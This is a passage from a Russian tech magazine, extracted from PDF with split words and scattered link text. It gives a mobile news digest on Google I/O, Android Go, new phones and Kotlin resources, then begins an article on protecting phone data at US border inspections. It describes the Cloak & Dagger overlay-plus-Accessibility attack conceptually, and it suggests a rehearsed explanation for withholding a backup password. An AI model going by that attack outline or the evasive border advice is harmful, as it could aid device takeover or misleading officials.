19 мая закон чилась кон ферен ция Google  I/O, на которой ком пания пред ста‐ 
вила  огромное  количес тво  новинок,  обновлен ных  про дук тов,  инс тру мен тов
для  раз работ чиков  и  все го  осталь ного.  Мы,  конеч но  же,  сос редото чим ся
на всем, что свя зано со смар тфо нами и дру гой мобиль ной тех никой.

Android DP2
Од ним из глав ных событий Google I/O стал анонс Android O Developer Preview
2 — оче ред ной  тес товой  сбор ки  новой  вер сии  Android.  Глав ные  нов шес тва
в срав нении с DP1:

Но вый  дизайн  панели  быс трых  нас тро ек.  Теперь  она  белая,  а  кноп ки
перек лючения на дру гого поль зовате ля, редак тирова ния  тай лов и кноп ка
нас тро ек находят ся сни зу.

•

Pixel  Launcher  теперь  под держи вает  адап тивные  икон ки.  В  нас трой ках
мож но выб рать пред почти тель ный вид ико нок: квад ратные, круг лые, скруг‐ 
ленные и так далее.

•

Вид жеты  теперь  мож но  выбирать  с  помощью  меню  быс трых  дей ствий
(дол гое удер жание икон ки при ложе ния).

•

Ре жим Night  Light,  вклю чающий филь тр  синего цве та,  теперь мож но нас‐ 
тро ить, выб рав необ ходимую цве товую тем перату ру.

•

Фун кция  Autofill,  которая  появи лась  еще  в DP1,  теперь  работа ет.  Autofill‐
сер висы мож но акти виро вать через нас трой ки.

•

Рас ширен ный  монитор  батареи.  Теперь  он  нам ного  более  информа тив‐ 
ный,  а  так же  поз воля ет  отклю чить  воз можность  работы  отдель ных  при‐ 
ложе ний в фоне.

•

Пе рера ботан ный  монитор  управле ния  сво бод ным  прос транс твом  в  пос‐ 
тоян ной памяти.

•

Пе рера ботан ный экран нас тро ек Wi‐Fi, поз воля ющий авто мати чес ки вклю‐ 
чать  Wi‐Fi  рядом  с  доверен ными  сетями  и  авто мати чес ки  под клю чать ся
к пуб личным высокос корос тным сетям Wi‐Fi.

•

С  помощью  нас тро ек  для  раз работ чиков  в  панель  быс трых  нас тро ек
теперь мож но добавить тай лы для замера про изво дитель нос ти при ложе‐ 
ний.

•

Android O DP2   для смар тфо нов Nexus 5X, Nexus 6P, Nexus Player, Pix‐
el, Pixel XL и Pixel C.

дос тупен

Android Go
Android  и  при ложе ния  для  него  тол сте ют  бешены ми  тем пами,  поэто му,  ста‐ 
раясь  не  отдать  рынок  бюд жетни ков  Samsung  с  его  Tizen  и  раз работ чикам
дру гих аль тер натив ных ОС, Google анон сирова ла Android Go, сво его рода An‐
droid на диете.

По задум ке, Android Go дол жен заин тересо вать ком пании, про изво дящие
смар тфо ны с объ емом памяти 1 Гбайт и мень ше. Внут ри это все тот же An‐
droid  (вер сии  O),  но  с  неболь шими  модифи каци ями.  В  час тнос ти,  в  нем
исполь зует ся  упро щен ное  меню  запущен ных  при ложе ний,  модифи циро ван‐ 
ное  окно  быс трых  нас тро ек  с  показом  запол неннос ти  внут ренней  памяти,
оставше гося  заряда  батареи  и  исполь зован ного  интернет‐тра фика.  Есть
и  дру гие  внут ренние  опти миза ции,  а  так же,  воз можно,  более  агрессив ная
сис тема  вытес нения  фоновых  задач  из  опе ратив ной  памяти  и  отсутс твие
некото рых фун кций стан дар тно го Android.

Вмес те  с  Android  Go  Google  так же  анон сирова ла  облегчен ные  вер сии
собс твен ных  при ложе ний,  которые  не  занима ют  мно го  памяти  и  поз воля ют
эко номить тра фик.

Ме ню запущен ных при ложе ний Android Go

Google Play Protect
С 2013 года Google исполь зует свои сер висы для авто мати чес кой online‐про‐ 
вер ки всех уста нав лива емых на смар тфон при ложе ний с помощью анти виру‐ 
са. Работа ет он абсо лют но незамет но для поль зовате ля;  единс твен ное,  что
ты можешь уви деть, — это окно с пре дуп режде нием, что дан ное при ложе ние
может быть злов редом и его луч ше не ста вить.

Google Play Protect дела ет сер вис видимым. По сути, это встро енный в An‐
droid O  (а  точ нее — в пакет при ложе ний Google для этой плат формы) анти‐ 
вирус. Его мож но запус тить в любой момент и выпол нить про вер ку уста нов‐ 
ленных при ложе ний или пакетов APK, раз мещен ных на кар те памяти.

Daydream
Google про дол жает рас ширять свое при сутс твие на рын ке VR. По заяв лению
ком пании,  сле дующий  флаг ман  LG  будет  из  короб ки  под держи вать  тех‐ 
нологию Daydream, при шед шую на сме ну Google Cardboard. Samsung Galaxy
S8 так же получит эту под дер жку пос ле одно го из сле дующих обновле ний.

Кро ме  того, Google собира ется потягать ся с Facebook и  уже в этом году
выпус тит шлем вир туаль ной реаль нос ти, не тре бующий смар тфо на или под‐ 
клю чения к компь юте ру. Раз работ кой зай мут ся HTC и Lenovo.

Google Assistant
Но вый  голосо вой  помощ ник  Google  уже  дос тупен  для  любых  Android‐смар‐ 
тфо нов. Одна ко  ком пания  уже работа ет  над  вер сией для  iOS,  а  с  помощью
Assistant  SDK  его  мож но  встро ить  куда  угод но  (в  прош лом  дай джес те  была
ссыл ка на статью о том, как исполь зовать SDK для запус ка Assistant на дес‐ 
кто пе).

Кро ме того, в течение года «Ассистент» научит ся новым язы кам: сна чала
фран цуз ско му,  немец кому,  пор тугаль ско му,  япон ско му,  а  затем  италь янско‐ 
му, испан ско му и корей ско му. Про рус ский пока ничего не извес тно.

Google Lens
Еще одна  очень  инте рес ная  вещь,  которая  дол жна  появить ся  в  Assistant, —
это Google Lens. По боль шому сче ту  это вос создан ная на новой  тех нологи‐ 
чес кой базе вер сия Google Goggles. Ты наводишь на какой‐то объ ект смар‐ 
тфон, и он  тебе рас ска зыва ет,  что это  за объ ект. Нап ример, под ска жет род
рас тения или отзы вы о рес торане. При мер но такая же фун кция есть в новом
помощ нике Samsung Bixby, и в ее осно ве тоже лежит ней рон ная сеть.

Android Studio 3.0
На  Google  I/O  было  пред став лено  круп ное  обновле ние  сре ды  раз работ ки.
Android Studio 3.0 вклю чает в себя под дер жку Kotlin, а так же некото рых 

.
но вых

фун кций Java 8
По яви лась под дер жка адап тивных ико нок,  которые могут подс тра ивать ся

под  пра вила  гра фичес кого  офор мле ния  про шивок  раз ных  про изво дите лей.
Добав лен удоб ный инс тру мент для управле ния шриф тами, так же при ложе ния
теперь могут авто мати чес ки ска чивать нуж ные шриф ты.

Ви зард соз дания адап тивных ико нок

Те перь есть под дер жка плат формы Android Things и набор шаб лонов для соз‐ 
дания про ектов для этой плат формы, а так же под дер жка Instant Apps, то есть
при ложе ний, не тре бующих уста нов ки.

В эму лято ре Android наконец‐то реали зова на под дер жка Google Play. При‐ 
ложе ния теперь мож но тес тировать, ска чивая из магази на при ложе ний. Кро‐ 
ме того, эму лятор теперь под держи вает OpenGL 3.0, но толь ко в том слу чае,
если  гра фичес кий  адап тер  машины  под держи вает  OpenGL  3.2.  Наконец‐то
появил ся  фай ловый  менед жер,  поз воля ющий  иссле довать  катало говую
струк туру эму лято ра или физичес кого устрой ства.

Google обе щает сущес твен ное уве личе ние ско рос ти сбор ки боль ших про‐ 
ектов. А что бы соб ранные с помощью Android Studio про екты были такими же
быс тры ми,  внед рили  нес коль ко  мощ ных  инс тру мен тов  ана лиза  про изво‐ 
дитель нос ти. Все они объ еди нены на вклад ке под име нем Android Profiler:

CPU  Profiler  —  мощ ный  про фай лер,  поз воля ющий  про ана лизи ровать,
какие  учас тки  кода  и  ког да  исполь зуют  боль ше  все го  ресур сов  про цес‐ 
сора;

•

Memory Profiler — схо жий инс тру мент, нацелен ный на ана лиз пот ребле ния
памяти;

•

Network  Profiler  —  показы вает  деталь ную  ста тис тику  сетевых  зап росов
и количес тва передан ных дан ных.

•

УСТРОЙСТВА
Essential Phone
30 мая Энди Рубин, соз датель того самого стар тапа Android, который еще в
начале  2000‐х  при обре ла  Google,  пред ста вил  пер вое  детище  сво ей  новой
ком пании  Essential.  И  это  дей стви тель но  неч то  инте рес ное:  смар тфон
из  титана  и  керами ки  с  очень  тон кими  рам ками  вок руг  экра на  и маг нитным
креп лени ем для аксессу аров.

Essential  PH‐1  осна щен  топовым  чип сетом  Qualcomm  Snapdragon  935,
четырь мя  гигабай тами  опе ратив ной  памяти  и  128  Гбайт  пос тоян ной.  Раз‐ 
решение  дис плея:  2560  ✕  1312  QHD,  раз мер  5,71,  две  зад ние  камеры
на  13 Мп  (чер но‐белая  и  цвет ная)  с  сис темой Hybrid  Auto  Focus,  сов меща‐ 
ющей кон трастную, фазовую и лазер ную тех нологии фокуси ров ки. Перед няя
камера — 8 Мп. При чем в отли чие от Xiaomi Mi Mix, который так же прак тичес‐ 
ки  без рамоч ный,  камера  здесь  находит ся  свер ху.  Под  нее  сде лан  вырез
в вер хней час ти экра на.

Це на смар тфо на — 700 дол ларов, сде лать пред заказ мож но на офи циаль‐ 
ном  . Доп латив 50 дол ларов, ты так же получишь 360‐гра дус ную камеру.
Отдель но мож но при обрести док. Заряд ка про исхо дит через все тот же маг‐ 
нитный разъ ем.

сай те

Кро ме того, Рубин анон сировал ана лог Amazon Echo и Google Home, но о
нем пока мало что извес тно, за исклю чени ем того, что у колон ки будет экран
и  она  смо жет  коопе риро вать ся  с  дру гими  устрой ства ми  в  доме  для  выпол‐ 
нения задач.

Essential PH‐1

Jelly
В  то  вре мя  ког да  поль зовате ли  все  боль ше  тяготе ют  к  смар тфо нам  с  5,5‐
дюй мовым экра ном (пруф в пре дыду щем дай джес те), на Kickstarter появ ляет‐ 
ся    смар тфо на  с  самым  малень ким  экра ном.  Диаго наль  экра на  Jelly
все го 2,45 дюй ма, что не меша ет работе пол ноцен ной Android Nougat и боль‐ 
шинс тва при ложе ний для нее.

про ект

Тех ничес кие харак терис тики тем не менее нес коль ко убо ги:
про цес сор на 1,1 ГГц (ско рее все го, Mediatek);•
эк ран TFT с раз решени ем 240 ✕ 432 пик селя (DPI 201);•
1 Гбайт RAM (2 Гбайт в вер сии Pro);•
8 Гбайт ROM (8 Гбайт в Pro);•
две камеры: 2 Мп и 8 Мп;•
4G, гирос коп, GPS, две SIM‐кар ты;•
под дер жка microSD;•
ба тарея 950 мА ⋅ ч.•

Те кущая цена на Kickstarter — 79 дол ларов за обыч ную вер сию и 95 дол ларов
за Pro.

Эк ран Jelly занима ет слиш ком малую пло щадь

РЕЛИЗЫ
В  ста не  опе раци онок  для  смар тфо нов  оче ред ное  попол нение  —  откры тая
опе раци онка  . PostmarketOS толь ко родилась и пока спо соб на
работать  лишь  на  смар тфо нах  Nexus  4  и  Galaxy  S  II,  исполь зуя  не  все  воз‐ 
можнос ти железа.  К  при меру,  пока  не  работа ет  3D‐уско рение,  звон ки,  а  на
Nexus 4 наб люда ются проб лемы с цве тами (это хорошо вид но на фото ниже).

postmarketOS

PostmarketOS  осно вана  на  минима лис тичном  дис три бути ве 
и поз воля ет  запус кать пол ноцен ное рабочее окру жение Linux и при ложе ния
для  него. Для  сов мести мос ти  с  железом  задей ство ваны  наработ ки  про екта

,  который  поз воля ет  исполь зовать  ядро  Linux  и  драй веры  железа
от Android.

Alpine  Linux

Halium

Под робнее об архи тек туре ОС на рус ском мож но почитать на  .opennet.ru

PostmarketOS на Samsung Galaxy S II и Nexus 4

Тем  вре менем  в  бета‐вер сии  при ложе ния  « »  наконец‐то  появил ся
голосо вой помощ ник. Помощ ника зовут Али са, она уме ет плос ко шутить, рас‐ 
ска зывать о погоде, прок ладывать мар шру ты, показы вать адре са и петь пес‐ 
ни.

Ян декс

Выз вать Али су мож но с помощью голосо вой  коман ды «Слу шай, Яндекс».
Одна ко  работа ет  эта  коман да  исклю читель но  в  окне  самого  при ложе ния
«Яндекс».

LINEAGEOS
Что нового:

Слай дер управле ния яркостью и кноп ку вклю чения/отклю чения авто мати‐ 
чес кой  регули ров ки  яркости  в  панели  быс трых  нас тро ек  теперь  мож но
отклю чить в нас трой ках (раз дел «Стро ка сос тояния»).

•

Бра узер Gello уда лен из ком плек та про шив ки в поль зу бра узе ра Jelly.•
Мно жес тво улуч шений в Jelly, вклю чая дес ктоп ный режим.•
При ложе ние FlipFlap для работы с  умны ми чех лами теперь мож но отклю‐ 
чить.

•

Те лефон теперь показы вает кор рек тное вре мя звон ка.•
WebView обновлен и теперь базиру ется на Chromium 58.•
Ис прав лена  ошиб ка,  при водя щая  к  падению  некото рых  при ложе ний
для съем ки.

•

Но мера  служб  по  борь бе  с  домаш ним  насили ем  теперь  не  попада ют
в исто рию звон ков.

•

Мно жес твен ные улуч шения в про изво дитель нос ти эква лай зера AudioFX.•
На некото рых устрой ствах ядро теперь пол ностью скры вает наличие root‐
дос тупа, ког да root отклю чен в нас трой ках.

•

Но вые устрой ства:
Google Pixel C;•
Galaxy Note 3;•
BQ Aquaris U Plus.•

Па нель нас тро ек без слай дера яркости, бра узер Jello

ПОЧИТАТЬ
 — отчет ком пании G DATA о том,

сколь ко  новых  образцов  мал вари  им  уда лось  обна ружить  за  пер вый  квар‐ 
тал 2017 года. Циф ры впе чат ляющие: 750 тысяч за квар тал — это 8400 в день
и 350 в час. В сред нем новый злов ред появ ляет ся каж дые десять секунд.

8,400 new Android malware samples every day

В основном вирусы исполь зуют  уяз вимос ти Android 5.0 и 6.0  в  смар тфо‐ 
нах,  для  которых  про изво дитель  не  выпус кает  пат чей  безопас ности. Общая
ста тис тика такова:

Gingerbread (2.3–2.3.7): 0,9%;•
Ice Cream Sandwich (4.0.3–4.0.4): 0,9%;•
Jelly Bean (4.1.x–4.3): 10,1%;•
KitKat (4.4): 20,0%;•
Lollipop (5.0–5.1): 32,0%;•
Marshmallow (6.0): 31,2%;•
Nougat (7.0–7.1): 4,9%.•

Ко личес тво новых образцов мал вари в год

 — сайт, пос вящен ный нашумев шей ата ке на Android, которая
исполь зует  две  осо бен ности  сис темы.  Пер вая  —  так  называ емые  овер леи
(overlay),  которые поз воля ют  соз давать  гра фичес кие  эле мен ты  (в  том  чис ле
проз рачные)  поверх  дру гих  окон.  Этой  фун кци ей,  в  час тнос ти,  поль зует ся
Facebook  для  сво его  чата,  бра узер  Flynx,  раз личные  обще сис темные  меню
и мно гие дру гие при ложе ния.

Cloak & Dagger

Проз рачный овер лей мож но повесить поверх  кла виату ры или окна вво да
и  таким  обра зом  перех ватить  вво димые  поль зовате лем  сим волы.  Одна ко,
если  ском биниро вать  овер лей  с  исполь зовани ем  дру гой  фун кции  Android
под  наз вани ем  Accessibility,  мож но  зап росто  получить  пол ный  кон троль
над всей сис темой.

Accessibility  поз воля ет  получить  кон троль  над  окном  прак тичес ки  любого
при ложе ния, вклю чая воз можность нажатия кно пок и чте ния тек ста. Но дос туп
при ложе ния  к  Accessibility  дол жен  быть  явно  под твержден  поль зовате лем.
Что бы  зас тавить  поль зовате ля  это  сде лать,  злов редное  при ложе ние  может
соз дать  неп розрач ный  овер лей,  который  будет  про сить  нажимать  кноп ки
в опре делен ных мес тах, хотя на самом деле они при ведут к нажатию кно пок
в окне нас тро ек, и в конеч ном ито ге будет вклю чен дос туп к Accessibility.

Сто ит  ска зать,  что  ата ка  не  нова  и  уже  была  исполь зована  в  некото рых
вирусах.

РАЗРАБОТКА ДЛЯ ANDROID
Статьи

 — осно ван ный на при мерах тутори ал по раз работ ке на Kotlin.
Мож но исполь зовать для изу чения язы ка или как спра воч ник.

• KotlinSchool

 — быс трый обзор Kotlin и срав‐ 
нение с Java. При водят ся как схо жие чер ты, так и отли чия, дела ющие Kotlin
более удоб ным в раз работ ке.

• Overview of Kotlin & Comparison With Java

 — статья о  том,  как писать прос тые и понят ные при ложе‐ 
ния, исполь зуя пре иму щес тва язы ка Kotlin.  .

• Idiomatic Kotlin
Пе ревод
 —  шесть  спо собов  изба вить ся

от опе рато ра  !! в Kotlin. Дру гими сло вами, статья о том, как сде лать свой
код  по‐нас тояще му  null‐safe,  пол ностью  зас тра ховав  его  от  оши бок
NullPointerExceptions.

• How  to  remove  all  !!  from  your  Kotlin  code

 — набор ссы лок
на статьи, которые помогут в изу чении Kotlin и миг рации с Java.

• A Complete Guide To Learn Kotlin For Android Development

  —  вве дение  в  Architecture  Components,  новый
набор  биб лиотек  Google,  которые  пред лага ют  средс тва  для  соз дания
устой чивых  при ложе ний,  кор рек тно  реаги рующих  на  все  неп рият ности,
которые могут с ними слу чить ся.  ,  .

• Android  and  Architecture

Пе ревод при мер на Kotlin
 — руководс тво по соз данию реак тивных при‐ 

ложе ний на Kotlin.
• Android Reactive Architecture

 — вве дение в раз работ ку Instant Apps
на при мере модифи кации уже сущес тву юще го при ложе ния.

• An introduction to Android Instant Apps

 — шпар галка по API,  которые мож но исполь‐ 
зовать для  точ ной иден тифика ции  устрой ства,  на  котором работа ет при‐ 
ложе ние.

• Identifying an Android Device

  —  сайт,  пол ностью  пос вящен ный  ConstraintLayout,
новой  сис теме  раз метки  гра фичес ких  эле мен тов  при ложе ний,  которую
Google прод вига ет как будущий стан дарт.

• ConstraintLayout.com

 — о том, как защитить при ложе ние от Frida,
сис темы runtime‐ана лиза и внед рения кода в при ложе ния.

• The Jiu‐Jitsu of Detecting Frida

  —  веб‐сайт,  поз воля ющий  сге нери ровать  работа ющий  код
для  фор мирова ния  интерфей са  поль зовате ля  по  кар тинке.  На  выходе
мож но  получить  код  для  iOS,  Android  или HTML. Внут ри,  как  и  положе но,
ней рон ная сеть.

• uizard.io

Биб лиоте ки
  —  биб лиоте ка,  сущес твен но  облегча ющая  работу  с  сис‐ 

темой зап роса при виле гий;
• PermissionUtil

 — реали зация кно пок в ниж ней час ти окна при‐ 
ложе ния;

• AdaptableBottomNavigation

 — раз личные эффекты ани мации для ViewPager.• ViewPagerAnimator

Пол ный жиз ненный цикл активнос ти и фраг ментов

На сегод ня все, спа сибо за вни мание.
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X‐MOBILE

Мы час то пишем про абс трак тные спо собы взло ма и защиты
мобиль ных  устрой ств.  При  этом  под разуме вает ся,  что
защита дол жна быть, а про тивос тоим мы неко ему вооб ража‐ 
емо му зло умыш ленни ку. Но что, если защищать ся при ходит‐ 
ся не от сфе ричес кого вориш ки в ваку уме, а от впол не кон‐ 
крет ного  офи цера‐пог ранич ника,  который  нас той чиво  тре‐ 
бует пре дос тавить ему пол ный дос туп в устрой ство?

Воп рос  далеко  не  праз дный:  количес тво  подоб ных  тре бова ний  со  сто роны
аме рикан ских  пог ранич ников  рас тет  в  геомет ричес кой  прог рессии.  Дур ной
при мер  зарази телен,  и  прак тика  про верок  на  гра нице  может  быть  при нята
на воору жение в дру гих стра нах (а в Рос сии в све те пос ледних законо датель‐ 
ных ини циатив и вов се сам бог велел).

Как себя вес ти в такой ситу ации, как защитить свою информа цию и сто ит
ли это делать вооб ще — тема сегод няшней статьи.

ЧТО ПРОИСХОДИТ НА ГРАНИЦЕ?
Нес коль ко лет назад в Соеди нен ных Шта тах был при нят закон, поз воля ющий
пог ранич никам  про изво дить  дос мотр  информа ции  в  устрой ствах  путешес‐ 
твен ников,  жела ющих  пересечь  аме рикан скую  гра ницу.  Изна чаль но  этот
закон  исполь зовал ся  толь ко  для  ноут буков,  фле шек  и  про чих  носите лей
информа ции.  С  появ лени ем  смар тфо нов  дей ствие  закона  рас простра нили
и на них.

Ко личес тво  дос мотров  циф ровых  устрой ств  быс тро  рас тет.  Так,  если
в 2015 году было дос мотре но поряд ка 8,5 тысячи устрой ств, то уже в 2016‐м
их чис ло воз росло до 19 тысяч. Прог ноз на 2017 год — 29 тысяч дос мотров.
Циф ра  впе чат ляет,  но  веро ятность  попасть  на  такой  дос мотр  у  сред него
путешес твен ника  все  еще  невели ка  и  сос тавля ет  лишь  восемь  шан сов
из 100 тысяч.

ЧТО МОЖНО И ЧТО НЕЛЬЗЯ ДЕЛАТЬ
Сра зу опре делим ся с тем, чего делать не сто ит. Нель зя лгать и активно про‐ 
тиво дей ство вать  пог ранич нику.  В США  это  уго лов ное  прес тупле ние,  и  пос‐ 
ледс твия могут быть самыми печаль ными.  (Вари ант «забыл пароль от смар‐ 
тфо на»  не  годит ся:  будешь  сидеть  в  камере,  пока  не  вспом нишь.)  Нель зя
полагать ся  на  то,  что  пог ранич ник о  чем‐то  не  спро сит  (к  при меру,  если  ты
соз дал  резер вную  копию  устрой ства  и  сох ранил  ее  на  флеш ку  с  паролем,
у  тебя впол не могут  поп росить пароль от бэкапа). Нель зя полагать ся на  то,
что пог ранич ник чего‐то не най дет: все эти скры тые кон тей неры и при ложе‐ 
ния,  шиф рующие  фотог рафии,  —  откро вен ный  дет ский  сад,  отно ситель но
неп лохо  защища ющий  от  родите лей,  которым  в  руки  попал…  наде юсь,  что
не твой смар тфон. Опыт ного пог ранич ника подоб ные трю ки, наобо рот, могут
здо рово нас торожить и нас тро ить про тив тебя, а твоя нер возность во вре мя
дос мотра  —  выз вать  допол нитель ные  подоз рения.  Давай  не  будем  играть
в бирюль ки и погово рим о том, что дей стви тель но мож но сде лать для защиты
тво ей пер сональ ной информа ции.

ПЕРЕХОДИМ К ЗАЩИТЕ
Са мое важ ное в защите собс твен ной информа ции — под готовить ся заранее.
Про хож дение  пог ранич ного  кон тро ля  всег да  стресс,  а  стресс —  не  луч ший
совет чик  в  при нятии  раци ональ ных  решений.  Тебе  нуж но  будет  про думать
сле дующие вещи.

Со бира ешь ся ли ты защищать свои дан ные в прин ципе? Мно гие вооб ще
не  исполь зуют  пароли  бло киров ки,  игно риру ют  дат чик  отпе чат ков  паль цев,
отклю чают  встро енное  шиф рование.  Если  ты  один  из  таких  поль зовате лей,
то, веро ятно, скры вать тебе нечего и соп ротив лять ся прось бам пог ранич ника
нет  никако го  смыс ла:  на  сле дующем шаге  устрой ство  будет  кон фиско вано,
раз бло киро вано и иссле дова но, но уже без тво его учас тия. А вот на тебя упа‐ 
дут все воз можные негатив ные пос ледс твия.

О  пос ледс тви ях.  Если  ты  не  собира ешь ся  раз бло киро вать  телефон
по  «прось бе»  пог ранич ника  —  нас коль ко  ты  готов  к  воз можным  неп рият‐ 
ностям  (отказ во въез де в стра ну,  задер жание, про пуск  тран сфе ра)? При ми
решение заранее.

Ес ли  ты  все‐таки  ценишь  свою  час тную  жизнь,  опре дели  загодя,  какие
имен но  виды  информа ции  ты  хотел  бы  защитить.  Фотог рафии?  Известен
не один и не два слу чая, ког да люди получа ли впол не реаль ные сро ки за фото
или  видео  купания  мла ден ца.  Пос тинги  в  соци аль ных  сетях?  Ско рее  все го,
пог ранич ников  они  заин тересу ют  лишь  для  того,  что бы  убе дить ся,  что  ты
не  боевик,  не  камикад зе  и  не  тор гуешь  спай сом.  Исто рия  поис ковых  зап‐ 
росов и бра узе ра? Лич но я не хотел бы, что бы кто‐то получил дос туп к этой
информа ции. А что нас чет паролей? Готов ли ты к тому, что твои сох ранен ные
в бра узе ре  логины и  пароли  ко  все му  на  све те  будут  хра нить ся  неиз вес тно
где неог раничен ное вре мя, исполь зовать ся неиз вес тно кем и в неиз вес тных
целях? Вспом ним еще исто рию мес тополо жения, спи сок звон ков, сооб щений
и  кон тактов,  дос туп  к  фотог рафи ям  и  докумен там,  син хро низи рован ным
с тво им домаш ним компь юте ром через облачные сер висы OneDrive, Dropbox
или Google Drive.

От дель ным абза цем пус тим дан ные работо дате ля, осо бен но если у него
есть собс твен ные тре бова ния к безопас ности. Здесь могут помочь полити ки
безопас ности, уста нов ленные на устрой ство через Exchange и дру гие подоб‐ 
ные сис темы MDM.

Оп ределив шись  с  тем,  что  имен но  ты  собира ешь ся  защищать,  мож но
перехо дить собс твен но к тех ничес ким мерам.

ТЕХНИЧЕСКИЕ МЕТОДЫ ЗАЩИТЫ
Преж де чем мы прис тупим к тех ничес ким методам защиты, раз берем ся спер‐ 
ва с устрой ством. Кста ти, даже если у тебя смар тфон на Android — не про пус‐ 
кай  раз дел  про  iPhone,  там  обсужда ются  мно гие  базовые  вещи,  общие
для обе их плат форм.

ЗАЩИЩАЕМ IPHONE
В  целом  защитить  iPhone  будет  про ще,  чем  смар тфон  на  Android.  Но  обо
всем по поряд ку.

Ты  уже  опре делил ся  со  стра теги ей?  Если  ты  собира ешь ся  грудью  стать
на защиту сво их дан ных, у тебя есть нес коль ко вари антов.

Во‐пер вых,  ты  можешь  задать  длин ный  (сос тоящий  из  шес ти  цифр
или  бук венно‐циф ровой)  пароль,  пос ле  чего  прос то  вык лючить  телефон.
Вскрыть  его  будет  совер шенно  невоз можно,  пока  ты  не  сооб щишь  этот
пароль. А вот если твой iPhone обо рудо ван дат чиком отпе чат ков паль цев и ты
забыл  вык лючить  телефон  перед  пересе чени ем  гра ницы,  то  пог ранич нику
будет дос таточ но при казать тебе при ложить палец к ска неру, что бы раз бло‐ 
киро вать  устрой ство.  Такой  спо соб  раз бло киро вания  устрой ств  не  тре бует
каких‐то  осо бых  орде ров  или  раз решений  со  сто роны  пра воох ранитель ных
орга нов. Поэто му — вык лючи телефон.

Дотош ные пог ранцы
Ло гич ный воп рос: что меша ет пог ранич никам запереть тебя и не выпус кать,
пока  ты  не  выдашь  (вспом нишь,  вве дешь)  пароль  раз бло киров ки?  С  одной
сто роны,  вро де бы  нич то  не меша ет:  в    сот рудни ка NASA,
аме рикан ско го, кста ти, граж данина, пог ранич ники задер жали и «прес совали»
(цитата)  до  тех  пор,  пока  он  не  выдал  PIN‐код  от  смар тфо на.  С  дру гой  —
такие слу чаи чрез вычай но ред ки, они ско рее исклю чение, чем пра вило. Опять
же, в законо датель стве США на сегод няшний день есть широчен ная «серая
зона», в рам ках которой, с одной сто роны, у пог ранич ника есть широчай шие
пол номочия,  но  с  дру гой  —  вос поль зовать ся  ими  он  может  толь ко
при наличии «обос нован ных подоз рений».

из вес тном слу чае

Пог ранич ник может  «поп росить»  тебя раз бло киро вать  телефон паролем.
Если  это  имен но  прось ба  (request  в  офи циаль ной  тер миноло гии),  то  у  тебя
есть пра во веж ливо отка зать ся. Запирать тебя ник то не ста нет (но могут воз‐ 
никнуть дру гие пос ледс твия, о них мы уже  говори ли). А вот если это при каз
(order), то выбора у тебя не будет. Но имен но при казать ввес ти или сооб щить
пароль пог ранич ник может толь ко при наличии «обос нован ных подоз рений»,
в исклю читель ных слу чаях. В то же вре мя раз бло киров ку по отпе чат ку и пог‐ 
ранич ники, и полиция могут  (тут сно ва «серая зона») про водить в опе ратив‐ 
ном поряд ке. Ины ми сло вами, врать нель зя, соп ротив ление тоже бес полез‐ 
но. Что оста ется?

Во‐вто рых, перед поез дкой ты можешь сбро сить устрой ство и нас тро ить его
заново, исполь зуя све жий Apple  ID. Такое устрой ство не стыд но предъ явить
пог ранич нику.  Пос ле  пересе чения  гра ницы  прос то  под клю чишь ся  к  Wi‐Fi,
сбро сишь телефон еще раз и вос ста новишь ся из облачно го бэкапа (разуме‐ 
ется, такой бэкап у тебя дол жен в прин ципе иметь ся, а бес про вод ное соеди‐ 
нение дол жно быть быс трым, ста биль ным и раз решать переда чу нес коль ких
гигабайт  дан ных).  Обра ти  вни мание  на  важ ный  момент  с  двух фактор ной
аутен тифика цией:  для  авто риза ции  в  собс твен ный  Apple  ID  тебе  при дет ся
иметь  при  себе  вто рой  фак тор  аутен тифика ции  (нап ример,  SIM‐кар ту
с доверен ным телефон ным номером, на который ты смо жешь получить SMS
с одно разо вым кодом). Если ты не про дума ешь это заранее, ты можешь ока‐ 
зать ся отре зан ным от собс твен ной учет ной записи и дан ных в iCloud.

Ес ли ты берешь с собой компь ютер, то бэкап мож но соз дать и локаль но,
на  скры том  кон тей нере  в  фор мате  TrueCrypt  или  одно го  из  его  «нас ледни‐ 
ков». Сам кон тей нер мож но спо кой но предъ являть для ана лиза и даже сооб‐ 
щать  пароль —  опре делить  наличие  скры того  дис ка  невоз можно.  Впро чем,
тема  вло жен ных  крип токон тей неров  зас лужива ет  отдель ной  статьи;  раз‐ 
вивать ее здесь мы не ста нем. (Пароль от бэкапа не забудь!)

Ес ли ты не хочешь идти на прин цип или сбра сывать телефон из‐за мизер‐ 
ного (0,08%) шан са его дос мотра, рас смот ри дру гие вари анты.

Ес ли  у  тебя  iPhone с  пос ледней  вер сией  iOS,  а  jailbreak  ты  не  ста вил,  то
тебе  повез ло:  снять физичес кий  образ  устрой ства  невоз можно.  Единс твен‐ 
ный  спо соб  ана лиза,  дос тупный  пог ранич никам,  кро ме  запус ка  при ложе ний
на телефо не вруч ную, — снять резер вную копию через iTunes или спе циали‐ 
зиро ван ное  при ложе ние  (Elcomsoft  iOS  Forensic  Toolkit  или  подоб ное). Про‐ 
тиво дей ство вать  это му  тоже  очень  лег ко:  дос таточ но  заранее  оза ботить ся
уста нов кой пароля на резер вные копии. Для это го запус ти iTunes и акти вируй
опцию Encrypt iPhone backup:

Да лее нуж но будет ука зать пароль:

Что ука зывать в качес тве пароля? Рекомен дуем сге нери ровать длин ный слу‐ 
чай ный  пароль  из  10–12  зна ков,  вклю чающий  в  себя  все  воз можные  вари‐ 
ации букв, цифр и спе циаль ных сим волов. Сге нери руй, рас печатай на бумаж‐ 
ке,  уста нови  в  телефон.  Бумаж ку  спрячь  дома,  с  собой  не  бери.  Если  тебя
поп росят сооб щить пароль от резер вной копии, объ ясни,  что офлай новыми
бэкапа ми  ты  не  поль зуешь ся,  поэто му  в  целях  безопас ности  пароль  был
задан длин ный и слу чай ный, к запоми нанию не пред назна чен ный. Пос коль ку
в  пов седнев ной  жиз ни  этот  пароль  не  нужен,  такой  сце нарий  впол не  веро‐ 
ятен.

Хо чешь  защитить  свои  пароли? 
. Пароли будут уда лены с устрой ства и не под тянут ся из обла ка,

пока ты в явном виде не акти виру ешь iCloud Keychain. Ана логич ным обра зом
:

Вык лючи  keychain  и  iCloud  Keychain
на телефо не

уда ляет ся исто рия бра узе ра и поис ковых зап росов

До  недав них  пор  эти  дей ствия  не  защити ли  бы  тебя  в  пол ной  мере,  так
как Apple хра нила уда лен ную исто рию бра узе ра на сво их сер верах в течение
неоп ределен ного вре мени. Пос ле того как ком пания «Элкомсофт» выпус тила
при ложе ние,  извле кающее  уда лен ные  записи,  в  Apple  спох ватились  и 

.
ды ру

зак рыли
